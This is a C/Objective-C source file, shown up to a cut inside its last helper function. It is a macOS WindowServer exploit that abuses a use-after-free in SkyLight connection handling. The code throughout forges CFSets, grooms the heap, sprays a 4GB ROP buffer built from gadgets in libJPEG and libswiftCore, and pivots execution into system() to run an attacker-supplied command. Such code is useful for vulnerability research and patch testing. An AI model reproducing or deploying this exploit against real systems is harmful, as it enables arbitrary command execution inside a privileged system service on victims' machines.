#import <Cocoa/Cocoa.h>
#import <dlfcn.h>
#import <mach-o/dyld.h>
#import <mach-o/getsect.h>
#import <mach/mach_vm.h>
#import <pthread.h>
#import "offsets.h"
//utils
#define ENFORCE(a, label) \
do { \
if (__builtin_expect(!(a), 0)) \
{ \
timed_log("[!] %s is false (l.%d)\n", #a, __LINE__); \
goto label; \
} \
} while (0)
// from https://stackoverflow.com/questions/4415524/common-array-length-macro-for-c
#define COUNT_OF(x) ((sizeof(x)/sizeof(0[x])) / ((size_t)(!(sizeof(x) % sizeof(0[x])))))
#define BYTE(buff, offset) (*(uint8_t *)&((uint8_t *)buff)[offset])
#define DWORD(buff, offset) (*(uint32_t *)&((uint8_t *)buff)[offset])
#define QWORD(buff, offset) (*(uint64_t *)&((uint8_t *)buff)[offset])
// constants used by the exploit
#define CFSTRING_SPRAY_SIZE (400*1000*1000)
#define CFSTRING_SPRAY_COUNT ((CFSTRING_SPRAY_SIZE)/(3*0x8+sizeof(str_array)))
#define CFSET_SPRAY_SIZE (300*1000*1000)
// pointers (80*8) + internal size (0x40)
#define CFSET_SPRAY_COUNT ((CFSET_SPRAY_SIZE)/(80*8+0x40))
#define VULN_IDX (-0xaaaaab)
// 4GB should be enough and it's the maximum we can spray in one OOL
#define ROP_SPRAY_SIZE (4*0x400ul*0x400ul*0x400ul - 0x1000)
#define SPRAYED_BUFFER_ADDRESS 0x200006000
#define NB_CORE_SWITCH 50
#define NB_HOLES_PER_SWITCH 1000
#define NB_REUSE 200
// private functions (both private and public symbols)
static int (* SLSNewConnection)(int, int *);
static int (* SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool);
static mach_port_t (* CGSGetConnectionPortById)(uint32_t);
static int (* SLSReleaseConnection)(int);
static mach_port_t (* SLSServerPort)(void);
// push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
#define SAVE_RBP_SET_RAX_GADGET ((uint8_t[]){0x55, 0x48, 0x89, 0xe5, 0x48, 0x8b, 0x47, 0x08, 0x31, 0xf6, 0xba, 0x18, 0x01, 0x00, 0x00, 0xff, 0x10})
// mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RSI_GADGET ((uint8_t[]){0x48, 0x8b, 0x40, 0x08, 0x48, 0x8b, 0x30, 0xff, 0x16})
// mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RDI_GADGET ((uint8_t[]){0x48, 0x8b, 0x7e, 0x30, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x8b, 0x30, 0xff, 0x16})
// mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
#define POP_RBP_JMP_GADGET ((uint8_t[]){0x48, 0x8b, 0x46, 0x10, 0x48, 0x8b, 0x70, 0x20, 0x48, 0x8b, 0x46, 0xf8, 0x48, 0x8b, 0x00, 0x5d, 0xff, 0xe0})
static int resolve_symbols();
static int build_rop_spray(void **rop_spray, char *command_line);
static int massage_heap(int connection_id);
static int register_application(int connection_id);
static int setup_hooks(int connection_id);
static int trigger_the_bug(int connection_id);
static int reuse_allocation(int connection_id);
static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size);
static void timed_log(char* format, ...);
static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate);
static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number);
static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id);
int main(int argc, char **argv)
{
int connection_id = -1;
void *rop_spray = NULL;
bool free_application = false;
ENFORCE(argc == 2, fail);
ENFORCE(strlen(argv[1]) < 0x1000 - 0x600, fail);
timed_log("[+] Resolving symbols...\n");
ENFORCE(resolve_symbols() == 0, fail);
timed_log("[+] Building our ROP chain...\n");
ENFORCE(build_rop_spray(&rop_spray, argv[1]) == 0, fail);
timed_log("[+] Creating a fresh connection...\n");
ENFORCE(SLSNewConnection(0, &connection_id) == 0, fail);
timed_log("[+] Setup 'hooks'...\n");
ENFORCE(setup_hooks(connection_id) == 0, fail);
timed_log("[+] Making holes (des p'tits trous, des p'tits trous, toujours des p'tit trous : https://www.youtube.com/watch?v=HsX4M-by5OY)...\n");
ENFORCE(massage_heap(connection_id) == 0, fail);
// no timed_log, we want to be fast :)
ENFORCE(register_application(connection_id) == 0, fail);
free_application = true;
timed_log("[+] Application registered...\n");
timed_log("[+] Triggering the bug\n");
ENFORCE(trigger_the_bug(connection_id) == 0, fail);
timed_log("[+] Let's free and reuse the application...\n");
// this will whack the application
free_application = false;
ENFORCE(reuse_allocation(connection_id) == 0, fail);
timed_log("[+] Trigger the UAF...\n");
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", rop_spray, ROP_SPRAY_SIZE, true) == KERN_SUCCESS, fail);
// the kernel freed the pages for us :)
rop_spray = NULL;
// a last synchronised request to make sure our command has been executed...
ENFORCE(SLPSRegisterForKeyOnConnection(connection_id, &(ProcessSerialNumber){0, 0}, 8, 1) == -50, fail);
// don't leave any connections behind us...
ENFORCE(SLSReleaseConnection(connection_id) == 0, fail);
connection_id = -1;
timed_log("[+] OK\n");
return 0;
// fail is the label of choice when coding Apple exploit :) (cf. CVE-2014-1266)
fail:
if (free_application)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
if (connection_id != -1)
SLSReleaseConnection(connection_id);
if (rop_spray != NULL)
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)rop_spray, ROP_SPRAY_SIZE);
return 1;
}
static int resolve_symbols()
{
SLSNewConnection = dlsym(RTLD_DEFAULT, "SLSNewConnection");
ENFORCE(SLSNewConnection != NULL, fail);
SLPSRegisterForKeyOnConnection = dlsym(RTLD_DEFAULT, "SLPSRegisterForKeyOnConnection");
ENFORCE(SLPSRegisterForKeyOnConnection != NULL, fail);
SLSReleaseConnection = dlsym(RTLD_DEFAULT, "SLSReleaseConnection");
ENFORCE(SLSReleaseConnection != NULL, fail);
SLSServerPort = dlsym(RTLD_DEFAULT, "SLSServerPort");
ENFORCE(SLSServerPort != NULL, fail);
// ugly but we could find its address by parsing private symbols, we just don't want to waste our time coding it...
ENFORCE(((uintptr_t)SLPSRegisterForKeyOnConnection & 0xFFF) == (SLPSRegisterForKeyOnConnection_OFFSET & 0xFFF), fail);
CGSGetConnectionPortById = (void *)((uint8_t*)SLPSRegisterForKeyOnConnection - SLPSRegisterForKeyOnConnection_OFFSET + CGSGetConnectionPortById_OFFSET);
// paranoid checks, check if function starts with push rbp / mov rbp, rsp
ENFORCE(memcmp(CGSGetConnectionPortById, "\x55\x48\x89\xe5", 4) == 0, fail);
return 0;
fail:
return -1;
}
// the trick is here to map multiple times the same page to make a HUGE alloc that doesn't use a lot of physical memory
static int build_rop_spray(void **rop_spray, char *command_line)
{
void *handle_libswiftCore = NULL;
void* large_region = NULL;
*rop_spray = NULL;
// first we reserve a large region
ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&large_region, ROP_SPRAY_SIZE, VM_FLAGS_ANYWHERE) == KERN_SUCCESS, fail);
// then we allocate the first page
void *rop_chain = large_region;
ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&rop_chain, 0x1000, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE) == KERN_SUCCESS, fail);
// now we can construct our rop chain
void *release_selector = NSSelectorFromString(@"release");
ENFORCE(release_selector != NULL, fail);
// + 0x530 because of our forged CFSet and its 1st hash table entry (=0x200002537)
BYTE(rop_chain, 0x530 + 0x20) = 0; // flags
DWORD(rop_chain, 0x530 + 0x18) = 0; // mask
QWORD(rop_chain, 0x530 + 0x10) = SPRAYED_BUFFER_ADDRESS; // cache address
QWORD(rop_chain, 0) = (uint64_t)release_selector; // selector
// and now the """fun""" part...
handle_libswiftCore = dlopen("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", RTLD_GLOBAL | RTLD_NOW);
ENFORCE(handle_libswiftCore != NULL, fail);
void *libJPEG_text_addr;
size_t libJPEG_text_size;
ENFORCE(find_dylib_text_section("/System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJPEG.dylib", &libJPEG_text_addr, &libJPEG_text_size) == 0, fail);
void *libswiftCore_text_addr;
size_t libswiftCore_text_size;
ENFORCE(find_dylib_text_section("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", &libswiftCore_text_addr, &libswiftCore_text_size) == 0, fail);
uintptr_t system_address = (uintptr_t)dlsym(RTLD_DEFAULT, "system");
ENFORCE(system_address != 0, fail);
// check our gadgets
uintptr_t save_rbp_set_rax = (uintptr_t)memmem(libJPEG_text_addr, libJPEG_text_size, SAVE_RBP_SET_RAX_GADGET, sizeof(SAVE_RBP_SET_RAX_GADGET));
ENFORCE(save_rbp_set_rax != 0, fail);
uintptr_t set_rsi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RSI_GADGET, sizeof(SET_RSI_GADGET));
ENFORCE(set_rsi != 0, fail);
uintptr_t set_rdi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RDI_GADGET, sizeof(SET_RDI_GADGET));
ENFORCE(set_rdi != 0, fail);
uintptr_t pop_rbp_jmp = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, POP_RBP_JMP_GADGET, sizeof(POP_RBP_JMP_GADGET));
ENFORCE(pop_rbp_jmp != 0, fail);
ENFORCE(dlclose(handle_libswiftCore) == 0, fail);
handle_libswiftCore = NULL;
timed_log("[i] Pivot address: 0x%lX\n", save_rbp_set_rax);
QWORD(rop_chain, 8) = save_rbp_set_rax; // pivot
// SAVE_RBP_SET_RAX: push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
// + 0x137 because of our forged CFSet and its 2nd hash table entry
QWORD(rop_chain, 0x137) = set_rsi;
// rax=0x200002137
// SET_RSI: mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
QWORD(rop_chain, 0x137+8) = SPRAYED_BUFFER_ADDRESS+0x240;
// rax=SPRAYED_BUFFER_ADDRESS+0x240
QWORD(rop_chain, 0x240) = SPRAYED_BUFFER_ADDRESS+0x248;
// rsi=SPRAYED_BUFFER_ADDRESS+0x248
QWORD(rop_chain, 0x248) = set_rdi;
// SET_RDI: mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
QWORD(rop_chain, 0x248+0x30) = SPRAYED_BUFFER_ADDRESS+0x600;
// rdi=SPRAYED_BUFFER_ADDRESS+0x500
QWORD(rop_chain, 0x248+0x38) = SPRAYED_BUFFER_ADDRESS+0x248+0x38+8;
// rax=SPRAYED_BUFFER_ADDRESS+0x288
QWORD(rop_chain, 0x288) = SPRAYED_BUFFER_ADDRESS+0x288+8;
// rsi=SPRAYED_BUFFER_ADDRESS+0x290
QWORD(rop_chain, 0x290) = pop_rbp_jmp;
for (uint32_t i = 0; i < 4; i++)
{
// POP_RBP_JMP: mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
QWORD(rop_chain, i*0x48+0x290+0x10) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x290+0x10+8;
// rax=SPRAYED_BUFFER_ADDRESS+0x2A8
QWORD(rop_chain, i*0x48+0x2A8+0x20) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
// rsi=SPRAYED_BUFFER_ADDRESS+0x2D8
QWORD(rop_chain, i*0x48+0x2D8-8) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
// rax=SPRAYED_BUFFER_ADDRESS+0x2D8
QWORD(rop_chain, i*0x48+0x2D8) = i == 3 ? system_address : pop_rbp_jmp;
// rax=SPRAYED_BUFFER_ADDRESS+0x2D80x600
}
strcpy((char *)&BYTE(rop_chain, 0x600), command_line);
QWORD(rop_chain, 0x1000-8) = 0xFFFFFFFF; // make sure that the server won't try to parse this...
// and duplicate it, we use two for loops to gain some time
for (uintptr_t i = 0x1000ul; i < 4*0x400*0x400; i += 0x1000ul)
{
mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
vm_prot_t protection = VM_PROT_READ;
kern_return_t kr;
kr = mach_vm_remap(
mach_task_self(),
&remapped_page_address,
0x1000,
0,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
mach_task_self(),
(mach_vm_address_t)rop_chain,
0,
&protection,
&protection,
VM_INHERIT_NONE
);
ENFORCE(kr == KERN_SUCCESS, fail);
ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
}
for (uintptr_t i = 4*0x400*0x400; i < ROP_SPRAY_SIZE; i += 4*0x400*0x400)
{
mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
vm_prot_t protection = VM_PROT_READ;
kern_return_t kr;
kr = mach_vm_remap(
mach_task_self(),
&remapped_page_address,
4*0x400*0x400,
0,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
mach_task_self(),
(mach_vm_address_t)rop_chain,
0,
&protection,
&protection,
VM_INHERIT_NONE
);
ENFORCE(kr == KERN_SUCCESS, fail);
ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
}
*rop_spray = large_region;
return 0;
fail:
if (handle_libswiftCore != NULL)
dlclose(handle_libswiftCore);
if (large_region != NULL)
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)large_region, ROP_SPRAY_SIZE);
return -1;
}
size_t malloc_size(void *);
static int massage_heap(int connection_id)
{
static UInt8 data_buffer[0x70];
memset(data_buffer, 'A', 0x70);
CFDataRef hole_data = NULL;
CFNumberRef place_holder_number = NULL;
CFDataRef serialized_hole_0x60_data = NULL;
CFDataRef serialized_hole_0x70_data = NULL;
CFDataRef serialized_number_place_holder = NULL;
bool free_tmp_application = false;
hole_data = CFDataCreate(NULL, data_buffer, 0x60 - 0x40 - 0x20);
ENFORCE(hole_data != NULL, fail);
serialized_hole_0x60_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(serialized_hole_0x60_data != NULL, fail);
CFRelease(hole_data);
hole_data = NULL;
hole_data = CFDataCreate(NULL, data_buffer, 0x70 - 0x40 - 0x20);
ENFORCE(hole_data != NULL, fail);
serialized_hole_0x70_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(serialized_hole_0x70_data != NULL, fail);
CFRelease(hole_data);
hole_data = NULL;
uint64_t v = 0x1337BAB;
place_holder_number = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
ENFORCE(place_holder_number != NULL, fail);
serialized_number_place_holder = CFPropertyListCreateData(NULL, place_holder_number, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(serialized_number_place_holder != NULL, fail);
CFRelease(place_holder_number);
place_holder_number = NULL;
// now free the data to make holes :)
uint8_t *placeholder_data_bytes = (uint8_t *)CFDataGetBytePtr(serialized_number_place_holder);
size_t placeholder_data_size = CFDataGetLength(serialized_number_place_holder);
for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x6660000;
// help changing core...
ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
free_tmp_application = true;
for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
{
char key[20];
snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);
CFDataRef data = j%2 == 0 ? serialized_hole_0x70_data : serialized_hole_0x60_data;
uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
size_t data_size = CFDataGetLength(data);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);
snprintf(key, sizeof(key), "MSSH_%4d_%4d", i, j);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, placeholder_data_bytes, placeholder_data_size, false) == KERN_SUCCESS, fail);
}
ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
free_tmp_application = false;
}
CFRelease(serialized_number_place_holder);
serialized_number_place_holder = NULL;
CFRelease(serialized_hole_0x60_data);
serialized_hole_0x60_data = NULL;
CFRelease(serialized_hole_0x70_data);
serialized_hole_0x70_data = NULL;
for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
{
for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
{
char key[20];
snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, NULL, 0, false) == KERN_SUCCESS, fail);
}
}
return 0;
fail:
if (hole_data != NULL)
CFRelease(hole_data);
if (serialized_hole_0x60_data != NULL)
CFRelease(serialized_hole_0x60_data);
if (serialized_hole_0x70_data != NULL)
CFRelease(serialized_hole_0x70_data);
if (place_holder_number != NULL)
CFRelease(place_holder_number);
if (serialized_number_place_holder != NULL)
CFRelease(serialized_number_place_holder);
if (free_tmp_application)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x6660000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
return -1;
}
static int register_application(int connection_id)
{
ProcessSerialNumber psn;
bool free_application = false;
char app_name[0x40];
// app_name must be > 0x20 to not use the tiny holes reserved for CFSet and it must be big enough to fill the rest of the space left by the application
memset(app_name, 'B', sizeof(app_name)-1);
app_name[COUNT_OF(app_name)-1] = 0;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), app_name, true, connection_id) == KERN_SUCCESS, fail);
free_application = true;
// use a psn in the middle-end of our spray
psn.lowLongOfPSN = 0x12340000;
ENFORCE(_CGSSetAuxConn(connection_id, &psn) == 0, fail);
return 0;
fail:
if (free_application)
{
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
return -1;
}
static int setup_hooks(int connection_id)
{
CFNumberRef set_array_values[35] = {NULL};
CFMutableArrayRef big_array = NULL;
CFDataRef data = NULL;
timed_log("[+] Forging our set...\n");
uint8_t set_hash_table[71] = {
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0
};
uint32_t set_size = 0;
uint64_t v = 0x400000001;
while (set_size < COUNT_OF(set_array_values))
{
CFNumberRef n;
n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
ENFORCE(n != NULL, fail);
uint32_t h = CFHash(n)%71;
if (set_hash_table[h] == 1)
{
set_array_values[set_size] = n;
set_hash_table[h] = 0;
set_size ++;
}
else
{
CFRelease(n);
}
v++;
ENFORCE(v < 0x400000001 + 0xFFFFF, fail);
}
big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
ENFORCE(big_array != NULL, fail);
timed_log("[+] Creating our big set array...\n");
for (uint32_t i = 0; i < CFSET_SPRAY_COUNT; i++)
{
CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
ENFORCE(tmp_array != NULL, fail);
CFArrayAppendValue(big_array, tmp_array);
CFRelease(tmp_array);
}
for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
{
CFRelease(set_array_values[i]);
set_array_values[i] = NULL;
}
timed_log("[+] Serializing it...\n");
data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(data != NULL, fail);
CFRelease(big_array);
big_array = NULL;
uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
size_t data_size = CFDataGetLength(data);
timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));
timed_log("[+] Patching it...\n");
uint32_t nb_arrays = 0;
uint32_t cursor = 0;
while (1)
{
uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xAF\x10\x23", 3);
if (position == NULL)
break;
position[0] = 0xCF; // Array to Set
nb_arrays ++;
ENFORCE(nb_arrays <= CFSET_SPRAY_COUNT, fail);
cursor = (uint32_t)(position-data_bytes) + 3;
}
ENFORCE(nb_arrays == CFSET_SPRAY_COUNT, fail);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", data_bytes, data_size, false) == KERN_SUCCESS, fail);
CFRelease(data);
data = NULL;
return 0;
fail:
for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
if (set_array_values[i] != NULL)
CFRelease(set_array_values[i]);
if (data != NULL)
CFRelease(data);
if (big_array != NULL)
CFRelease(big_array);
return -1;
}
static int trigger_the_bug(int connection_id)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
int32_t index = VULN_IDX;
int err;
while ((err = SLPSRegisterForKeyOnConnection(connection_id, &psn, index, 1)) != 0)
{
// ENFORCE((err == 1011) || (err == -600), fail);
ENFORCE(++index < VULN_IDX+((2*8*1024*1024)/0x18), fail); // = 2 small regions = 16 MiB
}
return 0;
fail:
return -1;
}
static int reuse_allocation(int connection_id)
{
CFNumberRef set_array_values[8] = {NULL};
CFMutableArrayRef big_array = NULL;
CFDataRef data = NULL;
bool free_tmp_application = false;
bool free_application = true;
timed_log("[+] Forging our set...\n");
uint8_t set_hash_table[13];
memset(set_hash_table, 1, sizeof(set_hash_table));
uint64_t v;
v = 0x2000025;
set_array_values[0] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002537 -> hash = 0
ENFORCE(CFHash(set_array_values[0])%COUNT_OF(set_hash_table) == 0, fail);
set_hash_table[0] = 0;
v = 0x2000021;
set_array_values[1] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002137; -> hash = 1
ENFORCE(CFHash(set_array_values[1])%COUNT_OF(set_hash_table) == 1, fail);
set_hash_table[1] = 0;
v = 0;
uint32_t set_size = 2;
while (set_size < COUNT_OF(set_array_values))
{
CFNumberRef n;
n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
ENFORCE(n != NULL, fail);
uint32_t h = CFHash(n)%COUNT_OF(set_hash_table);
if (set_hash_table[h] == 1)
{
set_array_values[set_size] = n;
set_hash_table[h] = 0;
set_size ++;
}
else
{
CFRelease(n);
}
v++;
ENFORCE(v < 0xFFFFF, fail);
}
big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
ENFORCE(big_array != NULL, fail);
timed_log("[+] Creating our big set array...\n");
for (uint32_t i = 0; i < NB_REUSE; i++)
{
CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
ENFORCE(tmp_array != NULL, fail);
CFArrayAppendValue(big_array, tmp_array);
CFRelease(tmp_array);
}
for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
{
CFRelease(set_array_values[i]);
set_array_values[i] = NULL;
}
timed_log("[+] Serializing it...\n");
data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(data != NULL, fail);
CFRelease(big_array);
big_array = NULL;
uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
size_t data_size = CFDataGetLength(data);
timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));
timed_log("[+] Patching it...\n");
uint32_t nb_arrays = 0;
uint32_t cursor = 0;
while (1)
{
uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xA8\x02\x03", 3);
if (position == NULL)
break;
position[0] = 0xC8; // Array to Set
nb_arrays ++;
ENFORCE(nb_arrays <= NB_REUSE, fail);
cursor = (uint32_t)(position-data_bytes) + 3;
}
ENFORCE(nb_arrays == NB_REUSE, fail);
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
free_application = false;
for (uint32_t i = 0; i < 1000; i++)
{
char key[0x80];
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x56780000;
// help changing core...
ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
free_tmp_application = true;
// we use a long name to make sure it'll not be placed in our holes :)
snprintf(key, sizeof(key), "FAKE_OBJECT_WITH_A_VERY_LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOONG_NAME_%d", i);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);
ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
free_tmp_application = false;
usleep(10);
}
CFRelease(data);
data = NULL;
return 0;
fail:
if (free_application)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
if (free_tmp_application)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x56780000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
if (set_array_values[i] != NULL)
CFRelease(set_array_values[i]);
if (data != NULL)
CFRelease(data);
if (big_array != NULL)
CFRelease(big_array);
return -1;
}
static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size)
{
uint32_t image_count = _dyld_image_count();
for (uint32_t i = 0; i < image_count; i++)
{
const char *current_dylib_name = _dyld_get_image_name(i);
ENFORCE(current_dylib_name != NULL, fail);
if (strcmp(current_dylib_name, dylib_name) != 0)
continue;
const struct mach_header_64 *dylib_header = (const struct mach_header_64 *)_dyld_get_image_header(i);
ENFORCE(dylib_header != NULL, fail);
ENFORCE(dylib_header->magic == MH_MAGIC_64, fail);
uint32_t max_size = dylib_header->sizeofcmds;
ENFORCE(max_size < 0x2000, fail);
struct load_command *load_command = (struct load_command *)(dylib_header+1);
struct load_command *next_command;
ENFORCE(dylib_header->ncmds < 0x100, fail);
for (uint32_t cmd_i = 0; cmd_i < dylib_header->ncmds; cmd_i++, load_command = next_command)
{
ENFORCE(load_command->cmdsize <= max_size, fail);
ENFORCE(load_command->cmdsize >= sizeof(struct load_command), fail);
next_command = (struct load_command *)((uintptr_t)load_command + load_command->cmdsize);
max_size -= load_command->cmdsize;
if (load_command->cmd != LC_SEGMENT_64)
continue;
ENFORCE(load_command->cmdsize >= sizeof(struct segment_command_64), fail);
struct segment_command_64 *segment_command_64 = (struct segment_command_64 *)load_command;
if (strcmp(segment_command_64->segname, "__TEXT") != 0)
continue;
struct section_64 *sections = (struct section_64 *)(segment_command_64 + 1);
ENFORCE(segment_command_64->nsects < 0x100, fail);
ENFORCE(load_command->cmdsize == sizeof(struct segment_command_64) + segment_command_64->nsects*sizeof(struct section_64), fail);
for (uint32_t sect_i = 0; sect_i < segment_command_64->nsects; sect_i++)
{
if (strcmp(sections[sect_i].sectname, "__text") != 0)
continue;
*text_address = (void *)(sections[sect_i].addr + _dyld_get_image_vmaddr_slide(i));
*text_size = sections[sect_i].size;
return 0;
}
}
}
fail:
return -1;
}
#pragma pack(push, 4)
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_serialized_value;
NDR_record_t NDR_record;
uint64_t connection_id;
uint32_t key_len;
char key[128];
uint32_t serialized_value_length;
} CGSSetConnectionProperty_message_t;
#pragma pack(pop)
static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate)
{
CGSSetConnectionProperty_message_t msg;
memset(&msg, 0, sizeof(msg));
msg.body.msgh_descriptor_count = 1;
msg.ool_serialized_value.type = MACH_MSG_OOL_DESCRIPTOR;
msg.ool_serialized_value.address = (void *)serialized_value;
